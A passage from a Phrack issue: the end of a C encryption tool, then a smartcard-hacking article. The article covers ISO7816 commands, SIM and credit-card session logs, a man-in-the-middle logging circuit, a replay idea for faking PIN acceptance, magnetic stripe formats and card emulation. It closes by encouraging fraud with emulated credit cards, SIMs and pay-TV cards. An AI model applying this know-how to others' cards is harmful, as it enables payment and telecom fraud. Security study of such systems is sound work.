fprintf(stderr, " dpa -s filename\n");
fprintf(stderr, "\taction can be : encrypt, decrypt\n");
fprintf(stderr, "\tmode can be : ecb, cbc\n");
fprintf(stderr, "\tkey can be : \"key\" or file:/path/to/keyfile\n");
fprintf(stderr, "\tdata can be : \"data\" or file:/path/to/datafile\n");
fprintf(stderr, "\toutfile can be: \"-\" (stdout) or a filename\n");
fprintf(stderr, "\twhen -s is used, a checksum of filename is computed\n");
exit (EX_USAGE);
}
8<- - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - - 8< - - - - -
/* main.c */
#include <stdio.h>
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include "include/dpa.h"
int main(int argc, char *argv[])
{
int kflag;
int dflag;
int sflag;
int mflag;
int aflag;
int oflag;
int opt;
int mode;
int action;
char *output;
DPA_KEY key;
DPA_DATA data;
DPA_DATA cipher;
mode = DPA_MODE_ECB;
action = DPA_ENCRYPT;
output = "-";
mflag = aflag = kflag = dflag = sflag = oflag = 0;
while ((opt = getopt(argc, argv, "a:m:k:d:o:s:")) != -1)
{
switch (opt)
{
case 'a':
if (!strcmp(optarg, "enc") || !strcmp(optarg, "encrypt"))
action = DPA_ENCRYPT;
else if (!strcmp(optarg, "dec") || !strcmp(optarg, "decrypt"))
action = DPA_DECRYPT;
else
{
fprintf(stderr, "unknown action, expected encrypt or decrypt\n");
return (EX_USAGE);
}
aflag = 1;
break;
case 'm':
if (!strcmp(optarg, "ecb"))
mode = DPA_MODE_ECB;
else if (!strcmp(optarg, "cbc"))
mode = DPA_MODE_CBC;
else
{
fprintf(stderr, "unknown mode, expected ecb or cbc\n");
return (EX_USAGE);
}
mflag = 1;
break;
case 'k':
if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
DPA_set_key(&key, (unsigned char *)optarg, strlen(optarg));
else
DPA_set_keyfile(&key, optarg + 5);
kflag = 1;
break;
case 'd':
if (strncmp(optarg, "file:", 5) || strlen(optarg) == 5)
DPA_set_data(&data, (unsigned char *)optarg, strlen(optarg));
else
DPA_set_datafile(&data, optarg + 5);
dflag = 1;
break;
case 'o':
output = optarg;
oflag = 1;
break;
case 's':
DPA_set_datafile(&data, optarg);
sflag = 1;
break;
default:
usage();
}
}
if ((!aflag || !mflag || !kflag || !dflag) && !sflag)
usage();
if (sflag)
{
DPA_set_ciphertext(&data, &cipher, DPA_MODE_CBC, DPA_ENCRYPT);
DPA_sum(&key, &data, &cipher);
DPA_sum_write_to_file(&cipher, output);
}
else
{
DPA_set_ciphertext(&data, &cipher, mode, action);
if (action == DPA_ENCRYPT)
{
if (mode == DPA_MODE_ECB)
DPA_ecb_encrypt(&key, &data, &cipher);
else if (mode == DPA_MODE_CBC)
DPA_cbc_encrypt(&key, &data, &cipher);
}
else if (action == DPA_DECRYPT)
{
if (mode == DPA_MODE_ECB)
DPA_ecb_decrypt(&key, &data, &cipher);
else if (mode == DPA_MODE_CBC)
DPA_cbc_decrypt(&key, &data, &cipher);
}
DPA_write_to_file(&cipher, output);
}
return (EX_OK);
}
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x0f of 0x10
|=--------=[ Introduction for Playing Cards for Smart Profits ]=--------=|
|=----------------------------------------------------------------------=|
|=------------------=[ ender <ender@afturgurluk.org> ]=-----------------=|
--=[ Contents ]=----------------------------------------------------------
1 - Introduction
2 - Dealing with ISO7816 standard
2.1 - Receiving Answer To Reset
2.2 - Sending commands
2.3 - Receiving answers
2.4 - For example
2.5 - Your Rights
3 - SmartCard Man in the middle
4 - BruteForcing unidenfitied cards
5 - Examples of mapping and filesystem
5.1 - Mapping of old french Credit cards
5.2 - File System of SIM Cards
6 - Cyphering with smartcards
7 - Magnetic stripe
7.1 - ISO
7.2 - ALPHANUMERIC
7.3 - BINARY
8 - Synchronous smartcards
9 - Programming a card for ISO7816 purposes
10 - Conclusion
11 - Greetings
12 - Bibliography
Appendix A: Communication log
--[ 1 - Introduction ]-----------------------------------------------------
All what is written in this article must be used for cracking cards
and shouldn't be used to secure already existing application. However,
the aim of this article is to show you how to engage the dialog with
your smartcards (very useful when you don't have a girlfriend to talk
with), and not the way to use already cracked cards.
What you need for studying card is :
- THE standard : ISO7816
( http://www.cardwerk.com/smartcards/smartcard_standards.aspx )
- a smartcard reader (Phoenix)
- optionally a Reader/Writter for magnetic stripes (just for fun).
- maybe a Season -I will explain later-,
- some bank cards,
- and a computer:
- Under Linux/Unix : you can check for shcap
(www.afturgurluk.org/~ender/)
or try SmartCard ToolKit
(http://freshmeat.net/projects/sctk/ )
- Under bill's non-operating system : WinExplorer from Dexter
(www.geocities.com/Winexplorer/)
--[ 2 - Dealing with ISO7816 standard ]------------------------------------
You will need to refer to this standard. Here we will see how to engage
the communication with a smartcard plugged in your phoenix (smartcard
reader), which is plugged in your rs232 port. I have put two examples with :
a credit card, and a SIM card. If no specific card is mentionned in the
presentation of the protocol, it means that the information is valid for all
7816 ISO compliant cards.
----[ 2.1 - Receiving Answer To Reset (ATR) ]------------------------------
First, you will need to reset the card (with an ioctl, or directly
typing 'reset' in a smartcard shell) to boot the card, then it sends a data
buffer to identify itself, and to explicit its specifications such as the
frequency, the programming voltage, the GuardTime the Convention
(inverse/direct)... What is really useful to know is :
The ATR looks like that :
ATR : TS T0 TA1 TB1 TC1 TD1 TA2 ... TDn Tk TCK
TS : 3B Direct Convention
3F Inverse Convention
T0 : gives the number of Historical Bytes (specific to the card)
TD : gives the protocol (mostly T=0 send Word, T=1 send Characters)
Tk : The k Historical Bytes... not really verbose in fact :/
TCK : Just a checksum to verify you have a good ATR...
Nota : If you don't receive 0x3B or 0x3F for TS, maybe you must reconfigure
your soft to receive Byte in another convention...
----[ 2.2 - Sending commands ]---------------------------------------------
The instructions are send to the card via a serial link. The protocol
is explained in the standard but is mereley like an I2C without scl. The
packets are composed with five parts :
CLA : 1 Byte. ISO Class. e.g. :
BC = french credit cards,
A0 = SIM cards,
00 = Moneo/Open cards...
INS : 1 Byte. Instruction. e.g.:
20 = PIN verification,
B0 = Read
B2 = Read record
D0 = Write
DC = Write record
A4 = Select directory
8x = Encryption with key 'x', the algorithms depends on the card,
C0 = Get answer...
P1, P2 : 2 Bytes. Parameters, mostly it's an address to read/write.
LEN : 1 Byte. Length expected for the answer or lenght of the argument
ARG : LEN Byte. Argument you give for the instruction (bytes to write,
data to cypher, PIN to verify...), sometimes, the card must answer
a byte of aknowledgement -depending on the instruction- between
each bytes in the argument buffer.
----[ 2.3 - Receiving answers ]--------------------------------------------
To aknowledge to a command, the card send the instruction byte back to
the terminal, then a length of datas equal to the parameter LEN of the
command, and finish with SW1, SW2. ( 0x90 0x00 when the operation was
succesful ). If the operation wasn't successful, then only SW1 and SW2 are
sent, with a specific error code :
0x6E 0x00 CLA error
0x6D 0x00 INS error
0x6B 0x00 P1, P2 error
0x67 0x00 LEN error
0x98 0x04 Bad PIN
0x98 0x08 Unauthorized Access
0x98 0x40 Card blocked
...
----[ 2.4 - For example ]--------------------------------------------------
Here are some examples taken from shcap. You can download it from
<http://www.afturgurluk.org/~ender/shcap.tgz> .
But you can do the same with 7816shell <http://freshmeat.net/projects/sctk/>
If you use Shcap :
oops:~/7816/shcap_rel$ sudo ./shcap
Terminal> help
Shcap v0.0.9 by ender <ender@afturgurluk.org>
connect - Connect to the Serial port given with -D parameter
XX .. XX - Send XX .. XX to the card
log - Log comm between card and terminal (need a season)
bf - Try to find ISO CLA byte of the card
reset - Reset the card
direct - Set direct convention
inverse - Set inverse convention
cd XX XX - Select directory XX XX
cat XX XX - Read rd_len bytes at address XX XX
readrec XX - Read rd_len on record XX of current file
get N - Get N bytes of the answer
login - Verify PIN given
cypher XX .. XX - Cypher 8 Bytes
set - Set parameter :
cla=XX Set the iso class to XX (default 00)
key=X Set the cyphering key to X (default 0)
rd_len=N Set the read lenght to N (default 8)
timeout=N Set the poll timeout to Nms (default 500ms)
help - Display this help
quit - Exit the shell
###### Example with a Bull CP8 mask 4 BO' (french credit card) ######
Terminal> connect
Reset for a B4/B0' :
ATR: 3F 65 25 08 93 04 6C 90 00
Analysing the ATR :
3F - Convention inverse
6 - TB and TC sent (if TD is not sent, the protocol is 0 : send words)
5 - 5 historical Bytes
25 - TB : Programming current : max 50mA - Programming Voltage 5V
08 - TC : GuardTime : 8 * 1/9600Hz = 833us
Historical Bytes
93 04 6C 90 00 --Note that the 90 00 change to 90 10 after a first
wrong PIN code
Reading Constructor Area of a B4/B0' :
Terminal> set cla=bc
ISO CLASS set to BC
Terminal> set rd_len=8
READ LENGHT set to 8
Terminal> cat 09 C0
--Read at $09C0 8 bytes
Card> B0 19 DF 64 08 1F F4 0F B0 90 00
Analysing Constructor Area :
19 DF 64 08 : Card Serial Number
1FF4 / 0FB0 : Free Read area : $07F8 / Access Control : $03E8
90 00 : ok
Signing Data with salt in [07E8] :
Terminal> set key=0 --Cipher 8 Bytes with K0
KEY set to 0
Terminal> cypherCB 09 11 15 04 16 00 07 E8 --ARG=09 11 15 04 16 00 [07 E8]
Card> 90 00 --Instruction ok
Getting response :
Terminal> get 8 --Get answer 8 bytes
Card> C0 12 4F 54 A3 64 C5 2B 07 90 00 --12 4F 54 A3 64 C5 2B 07 ok
##### Example with a SIM card for GSM #####
Terminal> set cla=a0
ISO CLASS set to A0
Verifying PIN 12345678 on a SIM :
Terminal> login --Check PIN 8 Bytes
Enter your PIN code : 12345678 --The PIN is encoded in ASCII
Card> 90 00 --PIN ok
Selecting /TELE
COM/SMS/ directory in a SIM :
Terminal> cd 7f 10 --Select TELECOM dir : 7F 10
Card> 9F 16 --Dir description, 20Bytes
Terminal> cd 6f 3c --Select SMS subdir : 6F 3C
Card> 9F 0F --Dir description, 15Bytes
Reading msg (15 Bytes) :
Terminal> get 15 --Get 15 Bytes
Card> C0 00 00 ** ** 6F 3C ** ** ** ** ** ** ** ** ** 90 00
Reading the 3rd SMS of current file :
Terminal> set rd_len=176
READ LENGHT set to 176
Terminal> redrec 3 --Read record 3, 176Bytes
Card> B2 00 FF .. FF 90 00 --status = 00, data=0xff..ff
Terminal> quit
Well. That's all for the examples...not really dificult, isn't it ?
--[ 2.5 - Your Rights ]----------------------------------------------------
SmartCards use some kind of filesystems, so there are some rights (xrw)
for the different areas are files. The right to execute is obviously for
instructions only...
Generally, for a single-provider card, there are three levels :
-Nobody, when you boot the card you are not yet identified...
-Owner, you are "logged in" when you enter your PIN
-Provider, there is another code named PUK you can't know. It is
used for example when you stupidly block your card, to reset the
blocking mechanism.
In a SIM card (at least, the SIM card I have worked on), you cannot
read or write if you didn't login. When you enter (the instruction name is
verify) the PIN, then you can read, and even write in some files (mostly
in TELECOM directory, containing your SMS, your dialing numbers, etc.).
In credit cards, which are divided in areas, you need the PIN just to
read/write your Transaction Bulletin (at least for french ones... It is also
a major security hole if the PIN is not verifyed dynamically by the bank).
--[ 3 - SmartCard Man in the middle ]--------------------------------------
Something which is very useful for studying smartcards is a Season :
_____________ __________
| |-- 6 |-- |
| Terminal | |--/------------| Card |
|___________|-- | |________|
|
/ 3 Display ;)
___|____ ____________
| Season | 3 | logging: |
|________|------/-----RS232-->| 3F 16 15 |
|__________|
You need to connect 6 wires from your smartcard to a Wafer, but only 3
to your computer. If you have read the standard, you now that there is only
one pin dedicated to the Input/Output. You also need to connect the ground
(useful to have a reference...) and the Reset pin in order to start logging
when the card boots. It will permit you to log the dialog between the
terminal and the smartcard. This the most common way to analyse a smartcard
when you have an access to the terminal, but you might want to study the
terminal with a logic analyser awfuly expensive and reverse the results on
the screen of your oscilloscope (might sound very silly, but someone did
that :p). If for some reasons you don't have any physical access to the
terminal, report to next part.
The scheme for a season is quite simple, you can add some LEDs to see what
is going on. The MAX232 is here to convert the 5V from the card pins to
the 12V of the RS232 link of your computer (or laptop ;).
+-------------------------+
| |
+-----------------------------|-+ LED 3mm R1 250ohm|
| 1 _ _16| | ____|/|___/\/\/\__+
| -| |_| |-+ | | |\| |
| +---------------+ -| M |---|-----+ | Connector ISO
1 | | | -| A |---+ __|__ |
__|_|_______ 5 | -| X |- ///// 1 |______ 5
| | | . . ._______ | -| 2 |- /+_| __+-------+
\ . . . . / | | -| 3 |---------------------------+_| |___| |
6 \_______/ 9 | +---| 2 |-----------------+ |___|__|_+----+ |
DB9 | -|_____|- | 4 \__|__|__/ 8 | |
| 8 9 +---------------------+ |
| |
+-------------------------------------------------------+
__|__
/////
Scheme for a season
ISO Pins DB9 Pins
1. Vcc 5. Gnd 1 2 3 4 5
2. Rst 6. Nc DCD RxD TxD GND
3. Clk 7. I/O 6 7 8 9
4. Nc 8. Nc
Don't forget to add 4 x 0.1uF between pins 2-16, 15-6, 1-3 and 4-5 of the
MAX232. You can refer to the MAX232 datasheet for more details (ascii scheme
are not that clear...)
Now you have to log the data, just write somewhere on your hard drive
the datas sent and received by the card. You can try this with the 'log'
command in shcap, or with the program 7816logger from sctk.
The real problem is to analyse these datas.
* Firstly, the card send an ATR (which stand for Answer To Reset).
* Now that the terminal know the identity of the card, it can send
instructions composed firstly of 5 bytes.
* Then the card repeat the code of the instruction and the terminal can
send the argument buffer if it is not empty, then the card can answer,
* et caetera...
You can try to search the ISO class (sent just after the ATR) and try to
indent your log with just this information, and the knowledge of the
"protocol" as explained earlier...
After that, you should be able to recreate the behaviour expected by the
terminal, excepted for the cryptographic instructions... but this is another
problem. You have surely heard of S/DPA (Single/Differential Power Analysis),
DFA (Differential Fault Attack) or Time Attack which are the current means for
retrieving "easily" the keys stored inside cards. But this is not our topic.
Obviously, if you want to make an attack against a terminal with such a
system, you can : by overriding the real card, recording what the card
must answer, and processing the answer before replaying. The processing could
be used, for example, to make the terminal believe the PIN you entered was the
good one (because you are evil and you are trying a card which is not yours),
by putting the card in standby and reproducing the behaviour of the card as
if the PIN was really the good one...
It only works if the authentification system of the smartcard doesn't need
the PIN for generating the certificate, which is not really common.
Well, if you can reproduce the authentification, it is not necessary to do
such an attack, because you can get rid of the original card, but it is not
an easy way ;)
You can find at the end of the article an exemple of a communication between
a credit card and a terminal. The datas inside the cards are not always
obvious to guess. Generally, you can hope to find an official documentation
somewhere, or try to see the changes that happen between each use of the
card.
--[ 4 - BruteForcing unidenfitied cards ]----------------------------------
When you don't know the ISO class of the card you want to play with,
you can bruteforce the iso class. It is not very dificult if your computer
is able to count from 0x00 to 0xFF.
By retrieving the error codes from the card, you know the class is the good
one because the card send you an INS Error (6D 00), instead of a CLA error
(6E 00).
So you've got it. And instructions are public, so I put some
examples upper, and others are in the ISO7816, and on the Internet...
<http://www.cardwerk.com/smartcards/smartcard_standard_ISO7816-4.aspx>
<http://www.cardwerk.com/smartcards/
smartcard_standard_ISO7816-4_6_basic_interindustry_commands.aspx>
To guess the architecture of a card is a different matter. Always try the
instruction 0xB0 to see if you can read some addresses, and you'll can
interpret the error messages if you cannot read. If the smartcard has got
a filesystem, you can verify it with selecting (ins 0xA4) the root directory
0x3F00, and see what is going on. Get the response to see if there are some
other directories.
As you know the error code for a P1 P2 wrong (bad address) you also can try to
evaluate the capacity of the card: 8ko ? 64 ko ?. It works only if there is no
filesystem, like in credit cards... See for examples down here :
--[ 5 - Examples of mapping and filesystem ]-------------------------------
----[ 5.1 - Mapping of old french Credit cards ]---------------------------
Bull CP8 mask B0-B0'
_____________________
$1000 | Constructor area |
|___________________|
$09C0 | |
| FREE READ |
|___________________|
$07F8 | Transaction |
| Bulletin |
|___________________|
$03E8 | ACCESS COUNTER |
|___________________|
$02B0 | SECRET AREA |
|___________________|
$0200 | N/A |
|___________________|
$0000
----[ 5.2 - File System of SIM Cards ]-------------------------------------
--GSM SIMcard
3F00 ROOT dir
|
\__2FE2 Card serial Number
7F10 TELECOM
|
|\__6F3A Directory
|\__6F3B Fixed directory
|\__6F3C SMS
|\__6F40 Last calls
|\__6F42 SMS pointer
|\__6F43 SMS status
|\__6F44 Dialing numbers
|\__6F4A Extension 1
\__6F4B Extension 2
7F20 GSM
|
|\__6F05 Language
|\__6F07 IMSI
|\__6F20 Cyphering Key
|\__6F30 Provider selector
|\__6F31 Search Period
|\__6F37 Account Max
|\__6F38 Sim Service Table
|\__6F39 Cumulated calls
|\__6F3D Capability Config Param
|\__6F3E Group ID 1
|\__6F3F Group ID 2
|\__6F41 Price per unit
|\__6F45 Cell Broadcast msg ID
|\__6F74 Broadcast Control Chan
|\__6F78 Access Control Class
|\__6F7B Providers Forbidden
|\__6F7E Location Info
|\__6FAD Admin data
\__6FAE Phase ID
Then, you can log the communication between your SIM card and your
mobile phone if you want more information ;)
--[ 6 - Cyphering with smartcards ]----------------------------------------
All smartcards can cypher or generate a certificate to authenticate
itself to a terminal or a provider. Mostly the instructions 0x80 to 0x8F are
used to do it. To get the answer, just ask for it with the 0xC0 instruction.
Open cards are made particularly to such things. Open means you can
find all the documentation you want about it on the Internet
(www.opensc.org), so I won't stay on it...
The encryption system in smartcards is mostly to authenticate the card.
But all its security do not depends only on the cryptographic mechanisms
inside the card. The protocol is generally the weak part of the
authentication...
--[ 7 - Magnetic stripe ]--------------------------------------------------
Magnetic stripes on smartcards are very common. As this is a completely
passive way of authentification, it can easily be cloned. However, it also
means that all the difficulty is in the interpretation of the data contained
in the stripes and the understanding of the algorithms for cyphering
discretionnary data in the case you might want to generate your own card,
or just change some information.
You will need for this part of a magnetic stripe reader. It is quite expensive
but it is also possible to make its own driver and do it with just a tape
recorder. You can try cmread http://www.afutgurluk.org/~ender/cmread.tgz
for a driver on LPT1.
Depending on your software and hardware, you will have more or less easily
these informations : the density of encoding, and the number of bits per
character. For the number of bits per character, if you have read with the good
number of bits without errors, then you have to check the parity bits. Normally,
the soft you used to read the stripe is able to to do such a thing, other wise
the method consist in :
- Take the first bit equal to 1
- Check the parity on the first 5 bit
- If it is not OK, then try with 6,7,8 or 9
- Try on the next pack of [5,6,7,8,9] till the end.
- Check the LRC
There are two ways for detecting error, the first is with the parity bits, the
second is the LRC for Longitudinal Redondancy Check. The character of the track
is equal to the XOR of all characters.
There are 3 different cases easily recognizable :
----[ 7.1 - ISO ]----------------------------------------------------------
ISO-1 (210 bpi - 7 bits) : The stripe is divided in several parts :
- '%' Start sentinel
- 'B' Format code
- Primary account number (your account number on your credit card for example)
- '^' Field separator
- Name of the owner
- Field separator
- Expiration date (4 BCD numbers)
- Service Code (101 for VISA, ...)
- Discretionnary data
- '?' End Sentinel
- LRC
Example :
% B 0123456789012345 ^ MR SMITH JOHN ^ 9910 101
123456789000000123000000 ?
It is not compulsory exactly like that, but it cannot differ a lot.
ISO-2/3 (75 bpi - 5 bits):
- ';' Start Sentinel
- Primary Account Number
- '=' Field separator
- Expiration date
- Service code
- Discretionnary data
-
'?' End Sentinel
- LRC
Example:
; 01236789012345 = 9910 101 123456789000000123 ?
Note that the PAN (Primary Account Number) must verify the Lhun Algorithm.
The standard is ISO-7811 if you want more information...
----[ 7.2 - ALPHANUMERIC ]-------------------------------------------------
It is quite like ISO, but a bit less verbose. You just have the same
Start sentinel depending on the number of the track (1 : '%', 2 & 3 : ';'),
the same Field Separators, and End Sentinel. Between Start and End Sentinels,
you have data coded in BCD or ALPHA separated by the field separator of the
track related.
----[ 7.3 - BINARY ]-------------------------------------------------------
Keep in mind that there is not necessarily a structure like that.
Sometimes bit are put in desorder, as if the designer of the stripe was
completly drunk and was playing dice with friends to know what to do...
Just use your card and try to understand what has changed.
--[ 8 - Synchronous smartcards ]-------------------------------------------
I just put this part in order to do a complete tour on smartcards. This
type of card is very lame, They have a poor capacity (less than 1kb in
general), they don't always respect ISO standard for pins. What is sure is
that you have 2 pins for Vcc and the ground, 1 pin for the Clock, 1 pin for
the reset, 1 pin for the I/O, and sometimes 1 pin for the Vpp (programming
voltage) and 1 pin for the Write Enabled.
They don't have an ATR. They just react on negative edges of the Clock
pin by sending the next bit (or first if it is reseted) in its memory on the
I/O pin. If you can write, you will need a different voltage put on the Vpp
pin (up to 21V) and enable the Write pin. Generaly, you just can set a bit
from 1 to 0 beacuse of the OTP (One Time Programmable) technology used
inside (you just flash a fuse in the chip).
French telephone cards use such a technology (Merci, France TeleCom.) ;)
--[ 9 - Programming a card for ISO7816 purposes ]--------------------------
If you can read this line, it is because Phrack has accepted my
article without asking me to paste some of my codes to write a bloody
tutorial to code your own smartcard emulator using a pic from microchip
(www.microchip.com) and then you will need to think by yourself if you are
interested in how to write such programs (it is not very obvious...). As I
am nice and gentle, I give you the most common architecture :
- Send the ATR (On each reset it will restart here)
- Wait for the first Byte (ISO class) and verify it is the right one
- Receive the second byte and compare it with each byte INS you have
implemented, other wise send an error.
- Jump to the part of code written for the INS asked for and process the
arguments
- Then you have 2 choices (The Hacker's Choice is the best :p) :
* use an eeprom to save all your datas, and then read and write
it in order to complete the instrion asked for by the terminal
* use the PIC flash, by writting a list of RETLW 0xXX, determine
the offset of the Byte nee
ded and then just add this offset to
the current Program Counter.
Some advises :
- ISO 7816-3 is your friend ;)
- Never forget the parity bit to send datas, and also the ACK (or NACK)
when you receive
- Wait for a ACK from the terminal, if it is a NACK, just send again,
and it will works
- Write your own code, it will avoid you from silly bugs you don't
understand that could lead you in prison in case of problem (big brother
is always watching you, you cannot be wrong...)
- Don't do too nasty things, work only on an emulated terminal on your
computer :p
- Google is your friend to find URL for programming PIC-based smartcards
--[ 10 - Conclusion ]-----------------------------------------------------
No need to work in a laboratory to play with smartcards security at
an interesting level. Don't believe that S/DPA, or DFA is the only way
to study cards. Some of the articles on such methods are written by people
who has never seen a glitch generator in their whole life...
Eventually you just need an old 486 and a soldering iron to find security
holes in smartcard protocols and then buy some food with emulated credit
cards, phone friends with a self made SIM card watching numeric tv with a
self made viaccess/seca smartcard and enter in almost place protected with
smartcard or magnetic cards. Or just keep it for you ;)
--[ 11 - Greetings ]-------------------------------------------------------
Roland Moreno ;)
--[ 12 - Bibliography ]----------------------------------------------------
-PC et Cartes a puce, Patrick Gueule
-Ender's Game, Orson Scott Card
-The Hitchhiker's Trilogy, Douglas Adams
-Discworld, Terry Pratchett
--[ Appendix A: Communication log - old_log.txt (uuencoded) ---------------
<++> ./old_log.txt.uue
begin 744 old_log.txt
M("`@("`@("`@("`@("`@(",C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C#0H@("`@("`@("`@("`@("`@(R`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@(",-"B`@("`@("`@("`@("`@("`C("!(3U=43R`Z(%!A
M>2!7:71H(%9I<G1U86P@0V%S:"`@(PT*("`@("`@("`@("`@("`@(",@("`@
M("`@("`@("`@("`@("`@("`@("`@("`@("`@("`C#0H@("`@("`@("`@("`@
M("`@(R`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("`@(",-"B`@("`@
M("`@("`@("`@("`C("`Q-"\P,2\R,#`R("`@("`@("`@("`@("`@("`@("`@
M(PT*("`@("`@("`@("`@("`@(",@("`@("`@("`@("`@("`@("`@("`@("`@
M("`@("`@("`C#0H@("`@("`@("`@("`@("`@(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,-"@T*#0H@("`@4VEM=6QA=&EO;B!O9B!A('1R
M86YS86-T:6]N(&)E='=E96X@82!C<F5D:70@8V%R9"!#4#@@;6%S:S0@87!P
M;&EC871I;VX@#0I","<@86YD(&%N(&5L96-T<F]N:6,@<&%Y;65N="!T97)M
M:6YA;"!#2T0@4S(P-3`N(%1H92!N;W1A=&EO;B!I<R!L:6ME('1H870@.@T*
M("`@("`^/E1E<FUI;F%L#0H@("`@($-A<F0@#0I4:&4@9FER<W0@<75A<G1E
M="`H-"!B:71S*2!O9B!E86-H('=O<F0@*#$V(&)I=',I(&-O;F-E<FX@=&AE
M(')I9VAT("AR=RD@;V8@#0ID871A<RP@97AC97!T(&EN(&-O;G-T<G5C=&]R
M(&%R96$@6S`Y($,P72X@#0H@("`@,B`M(#,N("!R96%D+6]N;'D@9F]R($%L
M;`T*("`@(#8@+2`W+B`@<F5A9"UO;FQY(&9O<B!5<V5R("A024X@96YT97)E
M9"D-"B`@("!&+B`@("`@(')E860O=W)I=&4@9F]R(%5S97(-"E)E860@:6YS
M=')U8W1I;VX@.B!"0R!","!;04$@04%=($Q%+"!W:&5R92!!02!!02!I<R!A
M;B!A9&1R97-S(&%N9"!,12!T:&4-"FQE;F=H="!I;B!B>71E+@T*0WEP:&5R
M(&EN<W1R=6-T:6]N(#H@0D,@*#@P?#@T*2`P,"`P,"`P."`M($=E="`Z($)#
M($,P(#`P(#`P(#`X#0I7<FET92!I;G-T<G5C=&EO;B`Z($)#($0P(%M!02!!
M05T@3$4L('=H97)E($%!($%!(&ES(&%N(&%D9')E<W,@86YD($Q%('1H90T*
M;&5N9VAT(&EN(&)Y=&4N#0I!8VMN;W=L961G92`Z(#DP(#`P#0I4:&4@:6YS
M=')U8W1I;VX@:7,@86QW87ES(')E<&5A=&5D(&)A8VL@=&\@=&AE('1E<FUI
M;F%L+@T*0U-.+"!-86YU9F%C='5R97(L(&%N9"!0;VEN=&5U<G,@=&\@07)E
M82!A<F4@0U)#(&-H96-K960@=VET:"`Q,#$P,#$N#0H-"BLM+2TM+2TM+2L-
M"GP@24Y315)4('P-"GP@($-!4D0@('P-"BLM+2TM+2TM+2L-"@T*+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+0T*("`@(#X^1D8@("`@("`@("`@("`@("`@("`@("`@("`\+2T@
M4F5S970-"B`@("`S1B`V-2`R-2`P."`S-B`P-"`V0R`Y,"`P,"`@/"TM($%4
M4B`H06YS=V5R(%1O(%)E<V5T*0T*+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+0T*#0HO*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ#0H@*B!296%D('1A8FQE(&]F(&%R96$@("`@("`@("`@("`@("`@
M("`@("`@("`@("`@("`@("`@("`J#0H@*B`J*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ+PT*#0H@("`@
M/CY"0R!","`P.2!#,"`R,`T*("`@($(P(`T*("`@(#%$(#E&($8U(#$V("`@
M("`@/"TM(%)E861I;F<@<&]I;G1E<G,-"B`@("`R,R`Y1B`P02!#,R`@("`@
M(#PM+2!!1$P@/2`P."`X,"`H.48@,$$I+"!C<F5D:70@8V%R9"!O;&1E<B!T
M:&%N(#$Q+SDY#0H@("`@,$$@0S,@,$$@-3<@#0H@("`@,#D@1C$@,#@@1#D@
M#0H@("`@,T8@134@,C`@,#(@("`@("`\+2T@0W)E9&ET(&-A<F0@87!P;&EC
M871I;VX-"B`@("`P."`T1"`P,"!",2`@("`@(#PM+2!-86YU9F%C='5R97(@
M240@*%-H;'5M8F5R9V5R*0T*("`@(#0T($,R(#A!(#!%("`@("`@/"TM($-3
M3B`Z($-A<F0@4V5R:6%L($YU;6)E<@T*("`@($5"(#0Y(#E&($-#(`T*("`@
M(#DP(#`P(`T*#0H@("`@/CY&1B`@("`@("`@("`@("`@("`@("`@("`@(#PM
M+2!297-E=`T*("`@(#-&(#8U(#(U(#`X(#,V(#`T(#9#(#DP(#`P("`\+2T@
M0512("A!;G-W97(@5&\@4F5S970I#0HM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM#0H-"B\J*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BH-"B`J($%U=&AE;G1I8V%T92!#87)D('=I=&@@82!S=&%T:6,@
M<VEG;F%T=7)E(%)302`S,C!B:71S("H-"B`J("HJ*BHJ*BHJ*BHJ*BHJ*BHJ
M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHO#0H-"B`@
M("`^/D)#($(P(#`Y($,P(#(P(`T*("`@($(P(`T*("`@(#%$(#E&($8U(#$V
M("`@("`@/"TM(')E861I;F<@86=A:6X@;6%N=69A8W1U<F5R(&%R96$-"B`@
M("`R,R`Y1B`P02!#,R`-"B`@("`P02!#,R`P02`U-R`-"B`@("`P.2!&,2`P
M."!$.2`-"B`@("`S1B!%-2`R,"`P,B`-"B`@("`P."`T1"`P,"!",2`-"B`@
M("`T-"!#,B`X02`P12`-"B`@("!%0B`T.2`Y1B!#0R`-"B`@("`Y,"`P,"`-
M"@T*("`@(#X^0D,@0C`@,#@@13`@-S`-"B`@("!","`@#0H@("`@,D4@,#,@
M,S`@,S,@("`@("`\+2T@<')O=FED97(@,#,@.B!!=71H96YT:69I8V%T:6]N
M(%9A;'5E("A24T$@,S(P(&)I=',I#0H@("`@,S`@,#`@,#D@,C$@#0H@("`@
M,T(@,D8@.#0@-40@#0H@("`@,T$@1CD@.$4@-$0@#0H@("`@,S(@.#(@03`@
M,C<@#0H@("`@,S8@1C@@,30@-#$@#0H@("`@,S0@1C$@-$8@140@#0H@("`@
M,T(@-30@1#$@,C,@#0H@("`@,S,@,38@0CD@-#$@#0H@("`@,S,@1C0@.#(@
M0T,@#0H@("`@,S$@1D,@.3(@1#0@#0H@("`@,S,@.$,@-S4@138@#0H@("`@
